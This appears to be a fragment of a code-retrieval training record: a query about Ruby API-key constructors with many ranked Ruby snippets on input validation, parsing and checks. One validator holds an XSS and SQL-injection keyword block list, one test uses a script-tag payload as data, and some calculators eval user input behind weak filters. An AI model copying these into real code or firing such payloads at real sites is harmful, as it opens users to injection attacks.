"def literal_char!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 43)\n\n \n # - - - - main rule block - - - -\n # at line 491:2: ( ESC | ~ ( '\\\\'' | '\\\\\\\\' ) )\n alt_6 = 2\n look_6_0 = @input.peek(1)\n\n if (look_6_0 == ?\\\\) \n alt_6 = 1\n elsif (look_6_0.between?(0x0000, ?&) || look_6_0.between?(?(, ?[) || look_6_0.between?(?], 0xFFFF)) \n alt_6 = 2\n else\n nvae = NoViableAlternative(\"\", 6, 0)\n raise nvae\n end\n case alt_6\n when 1\n # at line 491:4: ESC\n esc!\n\n when 2\n # at line 492:4: ~ ( '\\\\'' | '\\\\\\\\' )\n if @input.peek(1).between?(0x0000, ?&) || @input.peek(1).between?(?(, ?[) || @input.peek(1).between?(?], 0x00FF)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n end\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 43)\n\n end",
"def perform\n @invalid_instruction =\n @instructions.detect do |instruction|\n instruction.match(@regexp).nil?\n end\n end",
"def validate_user_input(input)\r\n if input =~ \"/(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |\"\\\r\n \"(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(&lt;)|\"\\\r\n \"(&gt;)/\"\r\n return nil\r\n end \r\n return input \r\n end",
"def test_lower4\n result = lower?(\"RYANSTANTZ\")\n refute(result, \"'RYANSTANTZ' should not be valid because it doesn't contain lower case letters\")\n end",
"def validate\n 2.times { puts }\n puts <<-EOF\nYou have entered the following information\nApocalypse server : #{@address}\nApocalypse server port : #{@port}\nApocalypse username : #{@username}\nApocalypse password : #{'*' *@password.length}\nThis Server' hostname : #{@hostname}\nEOF\n\n print \"Is this correct? [no]: \"\n raise Exception.new(\"Aborted by user.\") unless gets =~ /^y(?:es|)$/\n puts\n end",
"def match(input)\n if @look == input\n get_char\n skip_white\n else \n expected(\"'\" + input.to_s + \"'\")\n end\nend",
"def test_is_username\n assert(StringChecker.is_valid_username?(\"ese\"))\n assert(!StringChecker.is_valid_username?(\"e se\"))\n assert(!StringChecker.is_valid_username?(\"<script>alert()</script>\"))\n assert(!StringChecker.is_valid_username?(\"happy-emu\"))\n assert(StringChecker.is_valid_username?(\"happy_emu\"))\n assert(!StringChecker.is_valid_username?(\"happy-\"))\n end",
"def verify\n\t\t@ascii_string.each do |value|\n\t\t\traise ArgumentError, \"#{value} is not an ASCII representation of number character with in the range 0-9\" unless NILTO9.key?(value) \n\t\tend\n\t\tself\n\tend",
"def eval_expression(expression)\n if expression.count(\"a-zA-Z\") > 0\n result = \"Incorrect expression or Number\"\n else\n expression = expression.gsub('/', '*1.0/') if expression.include?(\"/\")\n result = eval(expression).round(2)\n end\n result\n end",
"def test_icvc13_pass_A_returns_false\r\n\t\tassert_equal(false, isbn13_checksum_valid_character?(\"A\"))\r\n\tend",
"def eval_test(str)\n # check if input contains any non-valid characters\n return str if str!= str.split(/[^0-9\\s\\/*+\\-()]/).join\n # check if first character of input will break the eval\n return str if str[0] =~ /[\\/*+\\-]/\n begin\n # return number elements of the input as floats, so they eval as the user intended\n # ACTUALLY WANT TO LEAVE THE non-numbers in the array, but can't use .split to do that with the following syntax\n # str_nums = str.split(/[\\s\\/*+\\-()]/)\n # str_nums.each { |n| n = n.to_f }\n # print str_nums\n # str.each do |substr|\n # substr = substr.to_f if is_number(substr)\n # puts substr.class\n # end\n return eval(str)\n rescue\n return str\n end\n end",
"def calc(expression)\n value = 0\n #check that its just numbers and + - * / and () -> no XSS xD\n return {'response'=>'error'} if expr.match(/[^0123456789\\+\\-\\*\\/\\(\\)]/) != nil\n #calculate\n value = eval(expression)\n #return JSON response\n return {'response'=>value}\nend",
"def test_characters_added_to_valid_password\nresult = add_characters_if_valid(\"shawn\")\nassert_equal(\"xX_shawn_Xx\", result)\nend",
"def test_one_leetcode\n str = 'leetcode'\n dictionary = [\"leet\",\"code\"]\n assert Validator.evaluate(str, dictionary)\n end",
"def check_result(user_input, letters, good_letters, bad_letters)\n e_chars = %w[е ё]\n i_chars = %w[и й]\n char_hash = {\n 'е' => 'ё',\n 'ё' => 'е',\n 'и' => 'й',\n 'й' => 'и'\n }\n\n already_in_good = good_letters.include?(user_input)\n already_in_bad = bad_letters.include?(user_input)\n\n return 0 if already_in_good || already_in_bad\n\n if letters.include?(user_input) ||\n (e_chars.include?(user_input) && letters.any? { |c| e_chars.include?(c) }) ||\n (i_chars.include?(user_input) && letters.any? { |c| i_chars.include?(c) })\n\n good_letters.push(user_input)\n\n if char_hash.keys.include?(user_input)\n char = char_hash[user_input]\n good_letters.push(char)\n end\n\n return (letters - good_letters).empty? ? 1 : 0\n end\n\n bad_letters.push(user_input)\n\n if char_hash.keys.include?(user_input)\n char = char_hash[user_input]\n bad_letters.push(char)\n end\n\n -1\nend",
"def valid_test(input)\n result = true\n if input.length < 2\n puts \"Your word needs at least two letters. Try again.\"\n result = false\n end\n\n if input !~ /[aeiou]/\n puts \"Your word needs at least one vowel. Try again.\"\n result = false\n end\n\n if input == 0\n puts \"I don't think that was a valid word. Try again.\"\n result = false\n end\n return result\nend",
"def expression_operator()\n\n\n\n # \n if (TOKENS[look_ahead(1)] >= 25 && TOKENS[look_ahead(1)] <= 26) || look_ahead(1) == :ECOMMERCIAL || look_ahead(1) == :EQUAL || (TOKENS[look_ahead(1)] >= 35 && TOKENS[look_ahead(1)] <= 46)\n match()\n else\n raise \"Expected set\"\n end\n\n\n\n end",
"def string_validator(string, parameter)\n \n\tif string.length <= $MIN_LENGTH\n puts \"The #{parameter} requires at least #{$MIN_LENGTH} letters\"\n\t\treturn false\n\telsif string != string.gsub(/[^0-9a-z]/i, '')\n puts \"The #{parameter} can only contain alpha numeric characters \"\\\n\t\t \"(no spaces or special characters)\"\n\t\treturn false\n\telsif string !~ /[A-Z]/\n\t puts \"The #{parameter} requires an uppercase character\"\n\t\treturn false\n elsif string !~ /[a-z]/\n\t puts \"The #{parameter} requires an lowercase character\"\n\t\treturn false\n elsif string !~ /\\d/\n\t puts \"The #{parameter} requires numeric character\"\n\t\treturn false\n end\n\n\treturn true\nend",
"def valid_input\n if !@operand_one or !@operand_two or !RomanMathmaticalOperation.is_roman(@operand_one) or !RomanMathmaticalOperation.is_roman(@operand_two)\n raise RomanMathmaticalOperationError, \"This #{@operand_one} or #{@operand_two} is not valid\"\n end\n\n unless OPERATORS.include?(@operator)\n raise RomanMathmaticalOperationError, \"Operator missmatch\"\n end\n end",
"def exponent!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n \n # - - - - main rule block - - - -\n # at line 361:12: ( 'e' | 'E' ) ( '+' | '-' )? ( '0' .. '9' )+\n if @input.peek(1) == 0x45 || @input.peek(1) == 0x65\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n # at line 361:22: ( '+' | '-' )?\n alt_14 = 2\n look_14_0 = @input.peek( 1 )\n\n if ( look_14_0 == 0x2b || look_14_0 == 0x2d )\n alt_14 = 1\n end\n case alt_14\n when 1\n # at line \n if @input.peek(1) == 0x2b || @input.peek(1) == 0x2d\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n end\n # at file 361:33: ( '0' .. '9' )+\n match_count_15 = 0\n while true\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0.between?( 0x30, 0x39 ) )\n alt_15 = 1\n\n end\n case alt_15\n when 1\n # at line 361:34: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n else\n match_count_15 > 0 and break\n eee = EarlyExit(15)\n\n\n raise eee\n end\n match_count_15 += 1\n end\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n end",
"def invalid_command\n # code invalid_command here\n puts \"Please enter a valid command\"\nend",
"def invalid_command\n puts \"Please enter a valid command\"\n #invalid_command\n # code invalid_command here\nend",
"def check_input (letter)\n # does the input match the single digit length requirement?\n if letter.length() -1 == 1\n # is the input a letter or a number?\n if letter[0][/[a-zA-Z]+/] == letter[0] \n # is the input a match to the generated word? \n if $input_array.include? (letter[0])\n # the input matches the generated word\n return 0\n else\n # the input is valid but does not match the word\n return 1\n end\n else\n # the input meets the length requirement but is not a letter\n return 2\n end\n else\n # the input is not valid\n return 3\n end\nend",
"def verify (description, bool_expression)\n puts \"\\n*** #{description} ***\"\n $test_count += 1\n if bool_expression\n puts \"PASS: #{description}\"\n $pass_count += 1\n return 1\n else\n puts \"FAIL: #{description}\"\n $fail_count += 1\n return 0\n end\nend",
"def optest_command_error(line)\n print \"\\nTesting Operator Command Error: #{line}\\n\"\n args = line.split(/ /)\n result = TabulatorOperator.new.operator_command(args)\n assert((result =~ /^Command*/), \"Expected Command error: #{result}\")\n end",
"def test_icvc_pass_A_returns_false\r\n\t\tassert_equal(false, isbn10_checksum_valid_character?(\"A\"))\r\n\tend",
"def test_equality_w_and_echo\n assert_eq interpret(\"var=33; :var == 33 && echo('ok')\"),\"ok\\n\" \n end",
"def test_check_capital_end\r\n assert_nil @g.check_capital('abcD')\r\n end",
"def match(x)\n $look == x or expected(\"#{x}\")\n getChar\n skipWhite\nend",
"def validate_string(arg)\n arg.split(\"\").each do |i|\n if(i != '0' && i !='1')\n puts \"The input argument contain(s) characters other than 0 and 1. Please correct!\"\n return false\n end\n end\n end",
"def eval(ex)\n# hop_warn \"DO #{expr2}\"\n val = expr2.eval(ex)\n begin\n expr1.ass(ex, val)\n rescue => e\n raise #e.message.chomp+' at line '+@code_line.to_s\n end\n return nil\n end",
"def could_not_eval(line_num)\n puts \"Line #{line_num}: Couldn't evaluate expression\"\n end",
"def invalid_command\n puts \"Please enter a valid command\"\nend",
"def parse(template, failAction)\r\n #Use a temporary solumn variable because if the match fails we want to keep the orginal column value.\r\n tempColumn = @column\r\n returnVars = []\r\n wasend = false\r\n template.each do |token|\r\n case token\r\n when :any then\r\n #Match any token\r\n #push matching token to return variables\r\n unless tempColumn>[email protected]\r\n returnVars.push(@tokens[tempColumn])\r\n else\r\n return failAction.call(\"further input\", get_previous_token(tempColumn), @line)\r\n end\r\n when :start then\r\n #Match start of input\r\n return failAction.call(\"start of line\", nil, @line) unless tempColumn == -1\r\n when :end then\r\n #Match end of input\r\n wasend=true\r\n return failAction.call(\"end of line\", get_previous_token(tempColumn), @line) unless tempColumn == @tokens.size\r\n when :ismatch\r\n failAction = REQUIRE_FAILACTION #Switch to require mode\r\n tempColumn-=1 #Compensate for the fact that this does not actually consume input\r\n else\r\n if token.kind_of?(String)\r\n #Match sting literal\r\n return failAction.call(\"'#{token}'\", get_previous_token(tempColumn), @line) unless (token == @tokens[tempColumn])\r\n elsif token.kind_of?(Array)\r\n #Match one of several literals\r\n #Try matching each literal in sequence\r\n matchVar = nil\r\n token.each do |subtok|\r\n if matchVar = match(subtok, failAction)\r\n #If string literal matches an any\r\n @returnVars.push(matchVar) if matchVar.kind_of?(Array)\r\n break\r\n end\r\n end\r\n elsif token.kind_of?(Symbol)\r\n #Match any token\r\n #push matching token to return variables\r\n unless tempColumn>[email protected]\r\n returnVars.push(@tokens[tempColumn])\r\n else\r\n #Use custom error message\r\n return failAction.call(token.to_s, get_previous_token(tempColumn), @line)\r\n end\r\n else\r\n raise InternalError.new('invalid parsing template')\r\n end\r\n end\r\n tempColumn += 1 unless wasend\r\n end\r\n if tempColumn > @tokens.size\r\n return failAction.call(\"further input\", get_previous_token(tempColumn), @line)\r\n end\r\n @column = tempColumn\r\n return returnVars.flatten\r\n end",
"def test_rejects_passwords_without_non_alphanumerics\n result = valid_password?(\"1Abjilsa\")\n refute(result, \"'1Abjils&a' should be invalid because it has no non-alphanumeric characters\")\n end",
"def process_true(exp)\n return \"1\"\n end",
"def esc!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 46)\n\n \n # - - - - main rule block - - - -\n # at line 504:7: '\\\\\\\\' ( 'n' | 'r' | 't' | 'b' | 'f' | '\\\"' | '\\\\'' | '\\\\\\\\' | '>' | 'u' XDIGIT XDIGIT XDIGIT XDIGIT | . )\n match(?\\\\)\n # at line 505:3: ( 'n' | 'r' | 't' | 'b' | 'f' | '\\\"' | '\\\\'' | '\\\\\\\\' | '>' | 'u' XDIGIT XDIGIT XDIGIT XDIGIT | . )\n alt_9 = 11\n alt_9 = @dfa9.predict(@input)\n case alt_9\n when 1\n # at line 505:5: 'n'\n match(?n)\n\n when 2\n # at line 506:5: 'r'\n match(?r)\n\n when 3\n # at line 507:5: 't'\n match(?t)\n\n when 4\n # at line 508:5: 'b'\n match(?b)\n\n when 5\n # at line 509:5: 'f'\n match(?f)\n\n when 6\n # at line 510:5: '\\\"'\n match(?\")\n\n when 7\n # at line 511:5: '\\\\''\n match(?\\')\n\n when 8\n # at line 512:5: '\\\\\\\\'\n match(?\\\\)\n\n when 9\n # at line 513:5: '>'\n match(?>)\n\n when 10\n # at line 514:5: 'u' XDIGIT XDIGIT XDIGIT XDIGIT\n match(?u)\n xdigit!\n xdigit!\n xdigit!\n xdigit!\n\n when 11\n # at line 515:5: .\n match_any\n\n end\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 46)\n\n end",
"def test_lower3\n result = lower?(\"RYANSTANTz\")\n assert(result, \"'RYANSTANTz' should be valid because it contains a lower case letter\")\n end",
"def test_error_normal\n stack = TokenStack.new\n expected = 'Line 0: Testing'\n terp = Interpreter.new(false, true)\n error = terp.error(0, stack, 0, 'Testing')\n\n assert_equal expected, error\n end",
"def test_seqence_valid14\n result = contains_password?(\"password1\")\n refute(result, \"'passwrd123*' should not be valid because it contains a sequence\")\n end",
"def check_err_order(order)\r\n case order\r\n when \"latte\"\r\n when \"scone\"\r\n when \"tea\"\r\n else\r\n puts ERROR_MSG\r\n return true\r\n end\r\n return false\r\nend",
"def test_check_for_num_or_x\r\n\t\tisbn_number = '123456789B'\r\n\t\tassert_equal(false, check_for_x(isbn_number))\r\n\tend",
"def check_input (input)\n return false if split_input(input) == false\n return true if (split_input(input).all? {|coordinate| /[0-2]/ === coordinate.to_s})\n puts \"Enter the correct input\"\n return false\n end",
"def invalid_command\n puts \"Please enter a valid command\"\nend",
"def invalid_command\n puts \"Please enter a valid command\"\nend",
"def check_to_addr_invalid_char(block, transaction)\n unless /[0-9]|[SYSTEM]/.match?(transaction.to_addr)\n puts \"Line #{block.block_number}: the to address #{transaction.to_addr} contains an invalid character.\"\n return false\n end\n true\n end",
"def run( lines )\r\n # Check if this rule already evaluated to true\r\n return if self.result == true\r\n # Check if input is empty\r\n return if self.pattern == \"\"\r\n\r\n if lines.kind_of?(String)\r\n self.result = check_string( lines )\r\n elsif lines.kind_of?(Array)\r\n self.result = check_array( lines )\r\n else\r\n puts \"#{self.class}:run: Received invalid input of type: #{lines.class}\"\r\n return false\r\n end\r\n\r\n puts \"#{self.result.to_s.upcase}: #{self.class}: #{self.pattern}\" if @@DEBUG == true\r\n end",
"def evalExpression(expr)\n\texprs = expr.get_expr\n\tif expr.class == EXPR_VALUE\n\t\tsymbol = exprs.get_symbol\n\t\tidentif = exprs.get_value\n\t\tif symbol == :IDENTIFIER\n\t\t\tsymbol = $tables.lookup(identif)\n\t\t\tif symbol[1] != nil\n\t\t\t\treturn symbol\n\t\t\telse\n\t\t\t\tputs \"ERROR: variable `#{identif}` no inicializada\"\n\t\t\t\t$error = true\n\t\t\t\treturn [:UNKNOW,nil]\n\t\t\tend\n\t\tend\n\t\treturn [symbol,identif] \n\n\t# Caso que sea una expresion binaria\n\telsif expr.class == EXPR_BIN\n\t\tarit = expr.get_arit\n\t\tsymbol1 = evalExpression(exprs[0])\n\t\tsymbol2 = evalExpression(exprs[1])\n\t\t# Chequea todos los tipos de expresiones binarias aritmeticas\n\t\t# Para cada caso, asegura que sean correctas\n\t\tif !$error\n\t\t\tcase arit\n\t\t\twhen :PLUS , :MINUS, :DIVISION, :MULTIPLY, :PERCENT\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\tif !$error\t\n\t\t\t\t\tif expr_eval > 2147483647 || expr_eval < -2147483647\n\t\t\t\t\t\tputs \"ERROR: overflow numero de 32 bits excedido\"\n\t\t\t\t\t\t$error = true\n\t\t\t\t\t\treturn [:UNKNOW,nil]\n\t\t\t\t\telse\n\t\t\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen :AND, :OR\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :AMPERSAND, :VIRGUILE \n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\tif expr_eval == nil\n\t\t\t\t\tif arit == :AMPERSAND \n\t\t\t\t\t\tputs \"ERROR: concatenacion vertical incorrecta tamano incompatible\"\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"ERROR: concatenacion horizontal incorrecta tamano incompatible\"\n\t\t\t\t\tend\n\t\t\t\t\t$error = true\n\t\t\t\t\treturn [:UNKNOW,nil]\n\t\t\t\tend\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :LESS, :LESS_EQUAL, :MORE, :MORE_EQUAL\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\treturn [:BOOLEAN,expr_eval]\n\t\t\twhen :EQUAL, :INEQUAL\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\treturn [:BOOLEAN,expr_eval]\n\t\t\tend\n\t\tend\n\t\t# Caso que sea una expresion unaria\n\telsif expr.class == EXPR_UNARIA\n\t\tarit = expr.get_arit\n\t\tsymbol1 = evalExpression(exprs)\n\t\t# evalua las expresiones unarias aritmeticas\n\t\t# Para cada caso, chequea que sean correctas\n\t\tif !$error \n\t\t\tcase arit\n\t\t\twhen :MINUS_UNARY\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :DOLLAR, :APOSTROPHE \n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :NOT\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\tend\n\t\tend\n\t# En caso de conseguir expresiones parentizadas, evalua la expresion\n\telsif expr.class == EXPR_PARENTHESIS\n\t\treturn evalExpression(exprs)\n\tend\nend",
"def test_run_nothing_raised_if_false\n assert_nothing_raised(RuntimeError) { Execute.run('false') }\n end",
"def input_equation()\n\tputs \"Hello I'm a calculator\"\n\twhile true\n\t\tputs \"Please input a math equation that has + - * or / (ex. 3 * 5)\"\n\t\tuser_input = gets.strip\n\t\t# remove all spaces from input\n\t\tuser_input = user_input.gsub(/\\s+/, \"\")\n\t\t# Find any characters not 0-9 + - / or *\n\t\tif /[^+\\-\\*\\/0-9]/.match(user_input)\n\t\t\tputs \"Please enter an equation with only numbers seperated by + - / or *\"\n\t\t\t# Make sure equation has only one operator\n\t\telsif /\\A-?\\d+\\D-?\\d+\\z/.match(user_input)\n\t\t\texpression = /\\A-?\\d+\\D-?\\d+\\z/.match(user_input)[0]\n\t\t\treturn expression\n\t\telse\n\t\t\tputs \"Please enter a simple math equation such as \\\"7 / 5\\\"\"\n\t\tend\n\tend\nend",
"def test_sequence_valid13\n result = contains_password?(\"passwrd12*\")\n assert(result, \"'passwrd12*' should be valid because it doesn't contain a sequence\")\n end"
] | [
"0.6693422",
"0.66117126",
"0.64900476",
"0.63006276",
"0.62454975",
"0.6075698",
"0.6074467",
"0.60278416",
"0.6023764",
"0.59623295",
"0.5942521",
"0.5932852",
"0.5921831",
"0.58792824",
"0.5871899",
"0.58626956",
"0.585283",
"0.582954",
"0.582809",
"0.5822299",
"0.581865",
"0.58182466",
"0.58090293",
"0.57795596",
"0.5772351",
"0.5750814",
"0.5737209",
"0.57318264",
"0.57268715",
"0.571779",
"0.5680713",
"0.56659114",
"0.5651516",
"0.5639909",
"0.56362545",
"0.5632756",
"0.5596584",
"0.5594117",
"0.5586254",
"0.55829704",
"0.55813843",
"0.5557542",
"0.55519104",
"0.555102",
"0.5544263",
"0.5537912",
"0.55251014",
"0.55245525",
"0.55192906",
"0.5507304",
"0.5494258",
"0.5491007",
"0.5487806",
"0.548675",
"0.5479641",
"0.547798",
"0.54680043",
"0.5467866",
"0.54573977",
"0.54530084",
"0.5451705",
"0.5443016",
"0.54421705",
"0.5439096",
"0.542288",
"0.5419769",
"0.54163355",
"0.54159606",
"0.5414958",
"0.5412264",
"0.54047114",
"0.5388009",
"0.538639",
"0.538301",
"0.5373092",
"0.53678054",
"0.5364818",
"0.5364113",
"0.53627056",
"0.53507674",
"0.5347646",
"0.5342091",
"0.5340842",
"0.53394556",
"0.53349173",
"0.5334676",
"0.5328719",
"0.53266406",
"0.5306626",
"0.5296294",
"0.5291046",
"0.52908605",
"0.52902025",
"0.52902025",
"0.5275524",
"0.5256203",
"0.5248346",
"0.5248138",
"0.5247697",
"0.5246174"
] | 0.68106925 | 0 |
Constructor == Parameters: api_key The api_key of the partner (which may be found in the api_keys section of the console) id The account id of the partner (which may be found in the settings page of the console) | def initialize(api_key = Sift.api_key, id = Sift.account_id)
@api_key = api_key
@id = id
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(api_key, account_id, application_id)\n @api_key = api_key\n @account_id = account_id\n @application_id = application_id\n end",
"def initialize(api_key:)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key \n end",
"def initialize( api_key )\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(apikey)\n @apikey = apikey\n end",
"def initialize(api_key, account_id, api_version = 'v1')\n @api_key = api_key\n @account_id = account_id\n @api_ver = api_version\n instance_variables.each do |variable|\n raise ArgumentError, \"#{variable} should not be nil or blank\" if instance_variable_get(variable.to_sym).to_s == \"\"\n end\n end",
"def initialize(user_id, api_key)\n @user_id = user_id\n @api_key = api_key\n end",
"def initialize (api_key)\n\t\t@params = {\n\t\t\t\"key\" => api_key,\n\t\t\t\"wrapper\" => \"cleverbotrb\"\n\t\t}\n\t\t@endpoint = ENDPOINT\n\tend",
"def initialize(api_key, api_secret)\n @api_key = api_key\n @api_secret = api_secret\n @api_base_url = 'https://pepocampaigns.com'\n end",
"def initialize(api_key)\n @api_key = api_key\n check_api_key!\n end",
"def initialize(api_key)\n raise ArgumentError, 'api_key is required' if api_key == nil || api_key.empty?\n @api_key = api_key\n\t\tend",
"def initialize api_key, api_secret\n @api_key = api_key\n @api_secret = api_secret\n end",
"def initialize(apikey='f47a72ab00afe64aab78b9919ee3d427')\n\t\t@api_key = apikey\n\t\t@headers = {\"Accept\" => \"application/JSON\", \"user-key\" => @api_key}\n\t\t@base_uri = \"https://developers.zomato.com/api/v2.1/\"\n\tend",
"def set_api_key\n @api_key = ApiKey.find(params[:id])\n end",
"def set_api_key\n @api_key = ApiKey.find(params[:id])\n end",
"def set_api_key\n @api_key = ApiKey.find(params[:id])\n end",
"def initialize(api_key)\n @client = Juicer::Client.new(api_key)\n end",
"def initialize\n @api_user = \"\"\n @api_key = \"\"\n end",
"def initialize(api_key: nil)\r\n Configuration.api_key = api_key\r\n end",
"def initialize(key = nil, api_key: nil)\n @api_key = key || api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n @last_error = \"\"\n @last_error_code = \"\" \n end",
"def initialize(api_key=nil)\n @api_key = api_key\n @api_key ||= SocialMediaMonitoring.api_key\n @api_path = ''\n\n end",
"def initialize(api_key)\n @api_key = api_key\n @data_api_url = 'https://www.altadata.io/data/api/'\n @subscription_api_url = \"https://www.altadata.io/subscription/api/subscriptions?api_key=#{@api_key}\"\n end",
"def set_apikey\n @apikey = Apikey.find(params[:id])\n end",
"def set_apikey\n @apikey = Apikey.find(params[:id])\n end",
"def set_api_key\n\t\tself.api_key = ApiKey.create()\n\tend",
"def initialize(api_key = nil)\n @api_key = api_key\n @api_key ||= Songkickr.api_key\n \n self.class.default_params :apikey => @api_key\n end",
"def initialize(api_key)\n raise Dealmap::ApiKeyMissingError, \"You must supply an API key\" if api_key.nil?\n @api_key = api_key\n @conn = Faraday.new(:url => 'http://api.thedealmap.com') do |builder|\n builder.adapter :typhoeus\n builder.adapter :logger\n end\n end",
"def initialize(api_key, options = {})\n @api_key = api_key\n @api_endpoint = DEFAULT_API_ENDPOINT\n end",
"def set_api_v1_account\n @api_v1_account = Api::V1::Account.find(params[:id])\n end",
"def initialize(api_key)\n ENTITIES.each do |entity|\n eval(\"Easybill::Api::#{entity}\").authenticate api_key\n end\n self\n end",
"def initialize(api_key)\n @api_key = api_key\n @client = Hurley::Client.new 'http://api.rottentomatoes.com/api/public/v1.0'\n self\n end",
"def initialize(api_key)\n @api_key = api_key\n @conn = Faraday.new\n end",
"def initialize(api_key)\n @api_key = api_key\n self.class.headers({\n \"X-API-Key\" => @api_key,\n \"Accept\" => \"application/json\"\n })\n end",
"def initialize(api)\n @api = api\n end",
"def set_api_key(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @options = { headers: { 'Authorization' => \"token #{api_key}\" } }\n end",
"def initialize(partner_id, partner_secret, options = nil)\n @partner_id = partner_id\n @partner_secret = partner_secret.strip\n\n if options.is_a?(::Hash)\n @api_url = options[:api_url] || API_URL\n end\n\n unless @api_url\n @api_url = API_URL\n end\n end",
"def api_key; end",
"def api_key; end",
"def initialize(api_key, api_url = 'https://api.telerivet.com/v1')\n @api_key = api_key\n @api_url = api_url\n @num_requests = 0\n @session = nil\n end",
"def set_api\r\n api = EVEAPI::API.new\r\n api.api_id = api_key.api_id\r\n api.v_code = api_key.v_code\r\n api.character_id = id\r\n api\r\n end",
"def initialize(key, client=nil)\n @api_key = key\n @client = client\n end",
"def initialize(api_key, secret_key, base_url='https://api.att.com')\n\t\t@api_key \t\t = api_key\n\t\t@secret_key = secret_key\n\t\t@base_url = base_url\n\t\t@grant_type = 'client_credentials'\n\t\t@scope = 'SPEECH'\n\t\t@access_token = ''\n\t\t@refresh_token = ''\n\t\t\n\t\tcreate_connection\n\t\tget_tokens\n\t\t\n\t\tself\n\tend",
"def initialize(api_obj)\n @api_obj = api_obj\n end",
"def initialize()\n self.apikey = Rails.application.credentials.alpha_api_key\n end",
"def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end",
"def initialize(api_key = Payable.api_key, path = Payable.current_rest_api_path, timeout = API_TIMEOUT, company_id = Payable.company_id)\n raise(\"api_key must be a non-empty string\") if !api_key.is_a?(String) || api_key.empty?\n raise(\"path must be a non-empty string\") if !path.is_a?(String) || path.empty?\n @api_key = api_key\n @path = path\n @timeout = timeout\n @company_id = company_id\n end",
"def initialize(api_key)\n @api_key = api_key\n @url = URI.parse \"http://clients.multimap.com/API/geocode/1.2/#{@api_key}\"\n end",
"def initialize(key)\n raise ArgumentError, 'An API key must be provided' if key.nil?\n @key = key\n end",
"def initialize(client, id, **options)\n super(client, { id: id }, options)\n end",
"def initialize(api_key, username, password)\n @api_key, @username, @password = api_key, username, password\n setup_client\n end",
"def api_key\n key\n end",
"def initialize(api_key)\n @sg = SendGrid::API.new(api_key: api_key)\n end",
"def initialize(account, api_key, domain: 'wufoo.com', account_prefix: nil)\n @account = account\n @api_key = api_key\n @domain = domain\n @account_prefix = account_prefix || @account\n @field_numbers = {}\n end",
"def initialize(account={})\n @deferrable_args = [self]\n @account_apikey = account[:apikey]\n end",
"def initialize()\n RMeetup::Client.api_key = \"7d6585e3e2a111983b3177711467\"\n end",
"def account(id)\n make_json_api_request :get, \"v2/accounts/#{id}\"\n end",
"def assign_api_key!\n self.api_key = ApiKey.create!\n end",
"def initialize( api_key )\n @api_key = api_key\n @cached_requests = {}\n end",
"def initialize(api_key=nil)\n @api_key = api_key || ENV['MESSAGEPUB_API_KEY']\n self.class.basic_auth @api_key, 'password'\n end",
"def initialize(api_url:, api_key:, verbose: false)\n self.api_url = api_url.is_a?(Addressable::URI) ? api_url : Addressable::URI.parse(api_url)\n self.api_key = api_key\n self.verbose = verbose\n end",
"def initialize(api_key=nil)\n @api_key = api_key || ENV['KULER_API_KEY'] || raise(ArgumentError, 'no API key found')\n end",
"def initialize email, api_key\n @email = email\n @api_key = api_key\n end",
"def initialize(api_id)\n @api_id = api_id\n @app_info = nil\n @channels = {}\n initialize_stats\n logger.debug \"Created application\"\n end",
"def initialize username, apikey\n\t\t@username = username\n\t\t@apikey = apikey\n\tend",
"def initialize(api_key:, resource:)\n super(api_key: api_key)\n @resource = resource\n end",
"def api_key=(key)\n @@api_key = key\n end",
"def initialize(**options)\n @api_client = PayPoint::Blue::API.new(**options)\n super\n end",
"def initialize(api_key)\n @client = HTTPClient.new(\n default_header: {\n 'X-Auth-Token' => api_key,\n 'Content-Type' => 'application/json'\n }\n )\n end",
"def setup_api_client\n # see http://rubydoc.info/github/heroku/databasedotcom/master/Databasedotcom/Client:initialize\n # add :debugging => true to constructor hash to log API request/responses\n #u = current_user\n #debugger\n @client = Databasedotcom::Client.new({})\n @client.version = API_VERSION\n @client.authenticate :token => @current_user.access_token,\n :refresh_token => @current_user.refresh_token,\n :instance_url => @current_user.instance_url\n @client.materialize(\"Account\")\n end",
